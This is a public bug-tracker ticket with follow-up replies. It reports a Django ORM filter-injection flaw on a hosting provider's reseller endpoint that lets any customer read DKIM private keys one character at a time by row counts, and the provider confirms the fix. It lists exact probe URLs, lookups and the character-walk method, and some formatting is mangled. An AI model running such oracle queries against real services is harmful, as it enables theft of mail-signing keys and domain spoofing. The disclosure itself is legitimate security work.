Security vulnerabilities

  • Status Closed
  • Assigned To
    cbay
  • Private
Attached to Project: Security vulnerabilities
Opened by Bajinder - 23.09.2026
Last edited by cbay - 23.09.2026

FS#493 - Blind Read of DKIM Private Keys via Filter Injection

Vulnerability Information:

Name of Vulnerability:
The /reseller/domain/ endpoint allows attacker-controlled Django ORM lookups on TextField columns, turning the row count into a boolean oracle that can extract DKIM private keys character by character for domains across the entire 43,545-record register

Vulnerability Category:
Access Control Issues, Exposure of Sensitive Members Information, per the qualifying list on your bug bounty page.

This is a cross-customer disclosure of private key material.

CVSS 3.1: 9.3 Critical
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N

Confidentiality is High because the private half of a customer's DKIM keypair is exposed.

Integrity is Low rather than None because possession of a DKIM signing key allows an attacker to produce mail that authenticates as the victim's domain, corrupting the integrity of a security control operated by the customer. This does not directly modify data on the Alwaysdata platform.

Scope is Changed because the vulnerable component is the control-plane view, while the impacted component is the mail-authentication infrastructure of the 24,867 domains that hold a DKIM private key.

Description:

THIS IS A SECOND, INDEPENDENT DEFECT ON THE SAME ENDPOINT as my report "Full Customer Domain Register Readable by Any Customer."

That report concerns the missing authorization decorator and therefore who may reach this view. This report concerns what the view does with its query string after it has been reached.

The two issues require separate fixes. Adding the missing authorization decorator would still leave this vulnerability reachable by any legitimate reseller. The same filter helper is also mounted on:

```
/site/
/ssh/
/ftp/
/webdav/
/domain/
```

where tenancy scoping currently happens to contain the issue.

For each key=value pair in the query string, the view performs:

```
base = key.split('')[0]
``` It then resolves base against the Domain model. Three outcomes are possible: ```
base is not a field
The parameter is silently ignored. base is a CharField
The code appends
icontains to the WHOLE key.

  This is why:
      ?name__startswith=x
  raises an uncaught FieldError and results in HTTP 500. The ORM is effectively asked for:
      name__startswith__icontains

base is a TextField

  NOTHING is appended.
  Whatever lookup the attacker supplied is passed directly to .filter(), together with an attacker-controlled operand.

```

dkim_private_key and dkim_public_key are TextFields on this model.

This means an attacker can issue arbitrary true/false questions about the contents of a private key and observe the answer through the number of rows returned.

Because the same query string also accepts:

```
?name=<domain>
```

the attacker can first restrict the result set to exactly one domain and then ask questions about that specific row.

This converts a global row-count response into a per-domain, character-by-character read primitive.

THIS IS NOT THE DOCUMENTED OWNER READ.

Your API documentation describes dkim_private_key as:

```
"La clé privée, de type RSA au format PEM"
```

The legitimate owner read path works correctly. I verified that:

```
/v1/domain/<id>/
```

returns 404 when requested for a domain I do not own.

A customer reading their own DKIM key through an intended owner-only API is therefore not the issue.

The defect is that this reseller-domain endpoint allows another customer to query the private key for any domain.

WHAT THIS REACHES THAT A CUSTOMER CANNOT ALREADY REACH

A DKIM private key is not exposed to a tenant through any other route I tested.

I verified this from the node:

```
uid=548819(vk7research)
hostname=ssh2
```

There is no readable /etc/opendkim* file, no readable file matching *dkim*, and:

```
ls /home/
```

returns:

```
Permission denied
```

A customer's own shell therefore cannot read a DKIM private key at all, including its own, let alone another customer's.

Vulnerable Instances:

```
GET https://admin.alwaysdata.com/reseller/domain/?dkim_private_key__startswith=<attacker string>

GET https://admin.alwaysdata.com/reseller/domain/?name=<victim domain>&dkim_private_keyregex=<pattern> GET https://admin.alwaysdata.com/reseller/domain/?dkim_private_key__endswith=<attacker string>
``` The same mechanism applies to: ```
dkim_public_key
``` The endpoint is reachable by any authenticated customer. No reseller role, permission grant, or paid plan is required. Steps to Reproduce: Total cost: EUR 0. I used an ordinary customer login with no special role. All times are UTC, 2026-09-23. I used two unrelated customer sessions and obtained identical results. 1. Establish that the vulnerable column is reachable and that the oracle has both TRUE and FALSE states. Counts were read from the paginator rather than estimated: ```
/reseller/domain/
2178 pages
43,545 rows
Entire register /reseller/domain/?dkim_private_key
startswith=—–

  1244 pages
  24,867 rows
  Domains holding a PEM key

/reseller/domain/?dkim_private_keystartswith=ZZZZNOPE
0 rows
Negative control
``` A parameter that was being ignored could not produce 0 rows, while a parameter that was always true could not produce exactly 24,867 of 43,545 rows. Both states are real, establishing a working boolean oracle. 2. Pin the result set to a SINGLE row and ask questions about that row. I deliberately chose Alwaysdata's OWN domain so that every value I touched belonged to you rather than to a customer. ```
?name=alwaysdata.net
1 row ?name=alwaysdata.net&dkim_private_key
startswith=—–

  1 row
  TRUE

?name=alwaysdata.net&dkim_private_keystartswith=ZZZZ
0 rows
FALSE control ?name=alwaysdata.net&dkim_private_key
startswith=—–BEGIN

  1 row

?name=alwaysdata.net&dkim_private_keystartswith=—–BEGIN RSA
1 row ?name=alwaysdata.net&dkim_private_key
startswith=—–BEGIN DSA

  0 rows
  FALSE control

?name=alwaysdata.net&dkim_private_keyendswith=—–END RSA PRIVATE KEY—– 1 row
``` The RSA versus DSA pair is important because the oracle discriminates based on the CONTENT of the value, not merely whether a value is present. The
endswith result also demonstrates that the far end of the value is reachable, so extraction is not limited to a prefix walk.

3. Extraction was performed against Alwaysdata's OWN domain so that no customer key material was touched.

See the Proof of Concept below for the character walk.

The LINE ENDING was determined by the oracle rather than assumed:

```
—–BEGIN RSA PRIVATE KEY—–\r\n

  1 row

—–BEGIN RSA PRIVATE KEY—–\n

  0 rows

```

This demonstrates that the oracle is reading the stored value rather than merely reporting that a value exists.

I STOPPED at eight characters of base64 DER boilerplate.

Specifically:

```
MIICXAIB
```

is the PKCS#1 DER prefix shared by 1024-bit RSA private keys and therefore contains no bytes specific to your key.

I deliberately printed nothing beyond that point and do not hold anything beyond it.

Using:

```
regex=^<known>[<class>]
``` a binary search over the alphabet would require approximately six requests per character. I measured the endpoint's behavior rather than assuming it. Twenty consecutive probes on this parameter all returned HTTP 200 with: ```
No 429
No 503
No delay
``` at approximately 0.6 requests per second. I did not test higher rates and therefore make NO claim that rate limiting is absent. I only establish that none was encountered at the rate used for the test. 4. PROOF THAT THIRD-PARTY CUSTOMERS ARE AFFECTED I established this without reading anyone's private key. I ran ONE boolean probe against ONE third-party domain taken from the first page of the register. It is referred to here as: ```
<THIRD-PARTY-DOMAIN-A>
``` and is identified in the private annex. The domain is owned by an account that is not mine and has no relationship to my accounts. The requests were: ```
?name=<THIRD-PARTY-DOMAIN-A>
1 row ?name=<THIRD-PARTY-DOMAIN-A>&dkim_private_key
startswith=—–BEGIN

  1 row
  TRUE

?name=<THIRD-PARTY-DOMAIN-A>&dkim_private_keystartswith=ZZZZ
0 rows
FALSE control
``` The only question asked was whether the value begins with the universal PEM header. No key material was disclosed by this probe, and I did not continue extraction against that domain. I deliberately do NOT provide a number for how many of the 24,867 keys belong to external customers. The Internal column is not filterable: ```
?internal=1
?internal=0
``` Both return the full 43,545 rows. Therefore, any split between internal and external domains would require an assumption, and I am not making one. 5. THE KEY IS LIVE, not a dormant database column. I verified that the value read by the oracle corresponds to a DKIM key that is published and in use. See the Proof of Concept below. Proof of Concept: All output below is verbatim. Counts, computed from the paginator bound and the row count on the last page: ```
/reseller/domain/
2178 pages
5 on the last page
43,545 total /reseller/domain/?dkim_private_key=
934 pages
18 on the last page
18,678 empty /reseller/domain/?dkim_private_key
startswith=—–

  1244 pages
  7 on the last page
  24,867 with key

18,678 + 24,867 = 43,545
```

Every row in the register is therefore accounted for, and the two predicates partition the entire register.

This arithmetic is an internal consistency check that the filter is actually being applied.

Character walk on alwaysdata.net:

Each line represents a separate request. The value shown is the startswith operand and the result is the row count. ```
—–BEGIN RSA PRIVATE KEY—–\r\n
1
Line ending determined by the oracle —–BEGIN RSA PRIVATE KEY—–\n
0
Control, LF alone is incorrect —–BEGIN RSA PRIVATE KEY—–\r\nM
1 —–BEGIN RSA PRIVATE KEY—–\r\nMI
1 —–BEGIN RSA PRIVATE KEY—–\r\nMII
1 —–BEGIN RSA PRIVATE KEY—–\r\nMIIC
1 —–BEGIN RSA PRIVATE KEY—–\r\nMIICX
1 —–BEGIN RSA PRIVATE KEY—–\r\nMIICXA
1 —–BEGIN RSA PRIVATE KEY—–\r\nMIICXAI
1 —–BEGIN RSA PRIVATE KEY—–\r\nMIICXAIB
1 —–BEGIN RSA PRIVATE KEY—–\r\nMIID
0
Control, same depth, wrong character —–BEGIN RSA PRIVATE KEY—–\r\nNIIC
0
Control, same depth, wrong character
``` Recovered prefix: ```
—–BEGIN RSA PRIVATE KEY—–\r\nMIICXAIB
``` I stopped at that point. The key is live and published: ```
dig TXT default._domainkey.alwaysdata.net
``` returned: ```
"v=DKIM1; p=MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC/sSC4hrmqyHzkMAU8tpK7BWmvg5JmOBbs028HZQDi…"
``` The zone answered with the same public key for every selector tested: ```
default
mail
dkim
alwaysdata
selector1
k1
s1
ad
smtp
key1
``` This indicates a wildcard *._domainkey record, meaning the key is reachable under any selector a verifier looks up. The register also agrees with DNS regarding the configured selector. dkim_selector is a CharField, so the same filter surface provides a contains match: ```
?name=alwaysdata.net&dkim_selector=default
1 row
``` Controls: ```
mail
0 rows dkim
0 rows zzznope
0 rows
``` The two key halves are also consistent in size and format. The published public key begins with: ```
MIGf
``` which is the header for a 1024-bit RSA public key. The private value recovered by the oracle begins with: ```
MIICXAIB
``` which is the PKCS#1 header for a 1024-bit RSA private key. Therefore, the readable private value corresponds to the public key that your verifiers are actually checking signatures against. Error behavior revealing the mechanism: ```
?name
startswith=x

  HTTP 500
  Uncaught FieldError
  The ORM is asked for name__startswith__icontains

?accountzzbogus=1
HTTP 500
Uncaught FieldError ?xyz
id=1

  HTTP 200
  Silently ignored because the first segment is not a model field

?dkim_private_keystartswith=<anything>
HTTP 200
Filter applies because the first segment is a TextField
``` Impact: An attacker with a free Alwaysdata account can extract the DKIM signing key of any domain hosted by Alwaysdata. With a domain's DKIM private key, an attacker can sign mail that passes DKIM as that domain. The Proof of Concept demonstrates that the corresponding public key is published and served under the tested selectors. Because DKIM is used by DMARC for alignment, a DMARC policy of p=reject does not by itself prevent forged mail when the attacker possesses the legitimate DKIM signing key. The forged message can authenticate correctly using the compromised key. This enables: Undetectable business email compromise against customer domains. An attacker possessing the private key can produce mail that cryptographically authenticates as the victim domain, including messages containing invoices, payment-detail changes, or instructions to staff. 24,867 domains contain a readable DKIM private key, and I demonstrated the read primitive against a third-party customer's domain without extracting its key. Defeat of the victim's own anti-phishing posture. Customers that have configured SPF, DMARC, and DKIM correctly can still be affected because possession of the legitimate signing key allows an attacker to generate valid DKIM signatures. Persistent compromise. The key does not expire simply because it has been disclosed. Remediation requires the customer to rotate the DKIM key and publish a new public key. The most significant single row is alwaysdata.net itself. I confirmed that it contains a readable RSA private key with a live published public half. This is the domain under which customer mailboxes live and, more importantly, the domain from which your own transactional mail is sent, including password-reset messages. An attacker holding that key can therefore send DKIM-valid mail as alwaysdata to your customer base. Recommendation: 1. Fix the filter construction. Validate the WHOLE parameter key against an explicit allow list of <field>
<lookup> combinations that the endpoint is intended to support.

Do not validate only the first path segment.

The current asymmetry is the specific cause of the vulnerability:

```
CharField → icontains appended
TextField → no lookup appended
``` A TextField should receive the same safe treatment as a CharField. Preferably, attacker-supplied lookups should not be accepted at all. 2. Remove dkim_private_key from the queryset fields that this view can filter on, and from any serializer that does not require it. A private key should never be a filterable column. 3. Fix the missing authorization on /reseller/domain/ as described in my separate report. Neither fix substitutes for the other. The authorization decorator alone would still leave this vulnerability reachable by every legitimate reseller, and the same filter helper is shared with: ```
/site/
/ssh/
/ftp/
/webdav/
/domain/
``` 4. Treat the DKIM keys as potentially compromised. The endpoint has been reachable by any customer, and I encountered no throttling at the rate used for testing. I would rotate affected DKIM keys, starting with alwaysdata.net. 5. Return HTTP 400 rather than HTTP 500 for an unresolvable lookup. Currently: ```
?name
startswith=x
```

and:

```
?account__zzbogus=1
```

produce uncaught FieldErrors.

DISCLOSURE AND CLEANUP:

No object was created, modified, or deleted at any point.

This report is entirely read-only.

The ONLY row I ever pinned and walked character by character was alwaysdata.net, which belongs to Alwaysdata.

I stopped after eight bytes of universal PEM and DER boilerplate.

I did not extract and do not hold any key material belonging to Alwaysdata or any customer.

Cross-customer reach is evidenced by three requests against one third-party domain, asking only whether its value begins with the universal PEM header.

That domain is identified in the private annex rather than in this task because tasks on this tracker are published.

I also generated approximately 20 uncaught FieldError HTTP 500 responses on /reseller/domain/ between 06:29Z and 07:10Z while mapping which fields were reachable.

The 500 page states:

```
"We have been immediately alerted"
```

Those alerts are therefore explained by this report.

Test window:

```
2026-09-23 06:29Z to 08:25Z UTC
```

Closed by  cbay
23.09.2026 12:05
Reason for closing:  Fixed
Admin
cbay commented on 23.09.2026 09:39

Hello,

Thanks for the report.

A reseller is expected to have access to anything that belongs to its clients. So that point is irrelevant.

This report has the same origin as  FS#492 , only the scope is larger: the vulnerability gives access to both listing domains and anything that is related to domains.

Can you confirm it's fixed, as  FS#492  is fixed?

Kind regards,
Cyril

Hello Cyril,

Taking your three points in turn.

ON RESELLERS, YOU ARE RIGHT AND I WITHDRAW THAT ARGUMENT.

A reseller reading data belonging to its own clients is by design, and I should not have presented "still reachable by a reseller" as residual impact. That part of my report is incorrect, and I am happy for it to be struck.

There is one point underneath it that I do think still matters, but I am raising it as a question rather than a claim because I cannot test it myself.

The queryset on this view is not scoped to anybody. Today it returns every domain on the platform, which is why two of my ordinary accounts, owning none of those domains, can see all 43,555 records, including your own alwaysdata.com, alwaysdata.net, alwaysdata.fr, alwaysdata.info and alwaysdata.org under the internal account "ad".

If the fix is only a route-level authorization gate, would the view still hand a reseller the global set rather than that reseller's own clients?

That does not appear to be the behavior you described as expected.

The contrast inside your own application is what prompted me to ask this. `/reseller/subscription/` renders "0 element(s)" for my accounts, which suggests that view applies some form of scoping, while `/reseller/domain/` currently applies none.

If your fix scopes the queryset as well as the route, then I agree that point is closed. You are better placed to confirm the intended behavior than I am.

ON  FS#492  AND SCOPE, I AGREE MORE THAN I DISAGREE.

They are two defects in one view:

1. A missing authorization check.
2. Unsafe filter construction.

I accept that gating the route closes both issues for ordinary customers, which is the relevant population for this report.

I filed them separately because they are separate code changes, not to claim a second issue after the first is fixed. If you prefer to track this one under  FS#492 , I have no objection.

The one part I would ask you not to fold away is the distinction between listing a domain and reading its DKIM key.

The filter does not simply return the `dkim_private_key` column. It allows the row count to answer true or false questions about the contents of that field, one character at a time, which allows the key to be reconstructed by anyone who can reach the view.

A DKIM private key is not the same class of data as a domain name or renewal date. It is the credential used to sign mail as that domain, and remediation requires rotating the key and changing the corresponding DNS record.

That is why I would still fix the filter itself even after the route is gated. It is a small change compared with the exposure it removes.

ON WHETHER IT IS FIXED, I CANNOT CONFIRM IT YET.

I retested at 2026-09-23 11:01:59Z UTC from two separate ordinary customer logins, neither with reseller status:

```
GET /reseller/domain/

  HTTP 200
  20 data rows
  2178 pages
  Both accounts

Anonymous GET /reseller/domain/

  HTTP 302 to /login/
  Unchanged and correct

?dkim_private_keystartswith=—– 1244 pages of results ?dkim_private_keystartswith=ZZZZNOPE

  0 rows
  Control

?name=alwaysdata.net&dkim_private_keystartswith=—–BEGIN RSA
1 row ?name=alwaysdata.net&dkim_private_key
startswith=—–BEGIN DSA

  0 rows
  Control

```

So, on the instance reached by my accounts, the  FS#492  endpoint is still accessible to a non-reseller customer and the filter oracle still distinguishes both states.

I assume the fix has been written but has not yet been deployed to that instance, which would explain these results, rather than assuming there is an issue on your side.

Please let me know when it has rolled out and I will retest the same morning and confirm the result.

WHAT I WILL CHECK FOR THE RETEST

To make the confirmation criteria explicit:

1. A customer with no reseller status requesting:

 GET /reseller/domain/

should receive:

```
302 to /
```

as `/reseller/customer/` already does.

2. The four filter probes above should no longer distinguish between the true and false conditions.

This retest was entirely read-only.

Nothing was created, modified, or deleted, and I have retained nothing.

Customer-identifying values are deliberately omitted from this message, as they were from the report, because tasks on this tracker are published.

Kind regards,
Bajinder

Admin
cbay commented on 23.09.2026 11:18

My sincere apologies, the fix had been pushed but not applied into production. Is it fixed now?

Hello Cyril,

No apology needed.

Yes, confirmed fixed. The key read is no longer possible. I retested at 11:43Z UTC on 2026-09-23.

1. THE ORACLE IS GONE, BECAUSE THE VIEW IS GATED

From an ordinary customer login with no reseller status:

```

 GET /reseller/domain/                                              302 to /
 ?dkim_private_key__startswith=-----                                302 to /
 ?name=alwaysdata.net&dkim_private_key__startswith=-----BEGIN RSA   302 to /

```

The probes that previously distinguished true from false now never reach the view, so there is no longer any way for an ordinary customer to ask a question about the contents of that column. That closes what I reported.

2. ONE OBSERVATION, AND I AM EXPLICITLY NOT CLAIMING IT IS EXPLOITABLE

The filter construction itself is unchanged, only its exposure. The same helper is mounted on other views, and there an attacker-supplied lookup suffix still reaches the ORM and raises an uncaught FieldError:

```

 /site/?name__startswith=zz        HTTP 500
 /domain/?name__startswith=zz      HTTP 500
 /ssh/?name__startswith=zz         HTTP 500
 /ftp/?name__startswith=zz         HTTP 500
 /webdav/?name__startswith=zz      HTTP 500
 /site/?zzbogus__startswith=zz     HTTP 200      an unknown first segment is still silently ignored
 /site/  and  /site/?name=zz       HTTP 200      controls

```

I then checked whether the TextField half of the problem is reachable on any of those views, and it is not. On /site/, the text columns your API documents as strings, vhost_additional_directives, php_ini, environment and annotation, are simply ignored when a lookup is appended. Each of ?vhost_additional_directivesstartswith=zzzznope, ?…isnull=False, ?annotationstartswith=zzzznope and ?php_inistartswith=zzzznope returns the same 2 rows as the unfiltered page.

So those views do not expose a text column to the filter, and they scope to the caller's own objects in any case.

In other words, nothing is exploitable here today, and I am not asking you to treat this as an open vulnerability. The reason I mention it is that what made the DKIM read possible was the construction rather than the exposure, validating only the first path segment and appending nothing for a text column. That construction is still in place behind a gate.

If any view using this helper is ever opened to a wider audience, or if a model reachable through it gains a text column, the same issue returns without anyone having written new code. Fixing the key validation itself, my recommendation 1, would remove that possibility permanently and is independent of the gate.

The uncaught 500s above are also still there, which was my recommendation 5. A malformed lookup ought to be a 400.

3. FOR THE RECORD ON SCOPE

I accepted earlier that this and  FS#492  are best treated as one issue, and I still do. This reply is only to answer your question and to flag the two leftovers above.

I am not reopening the reseller point, which you were right about and I withdrew.

Nothing to clean up. This retest was read only: three probes against the gated endpoint, five FieldError probes, four text column probes and three controls. Nothing was created, modified or deleted and no customer data was read. My egress IP for this session was 117.253.60.178.

Kind regards
Bajinder

Admin
cbay commented on 23.09.2026 12:05

Thanks!

Loading...

Available keyboard shortcuts

Tasklist

Task Details

Task Editing